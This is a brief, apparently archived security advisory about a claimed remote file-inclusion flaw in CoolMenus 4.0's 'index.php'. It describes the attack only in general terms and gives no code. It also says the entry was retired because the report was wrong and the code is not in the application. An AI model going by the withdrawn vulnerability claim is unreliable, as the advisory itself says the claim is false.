CoolMenus 4.0 - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17738/info

CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This BID has been retired. The initial report included erroneous information about the application. Further information has been published indicating that the allegedly vulnerable code is not present in the application.
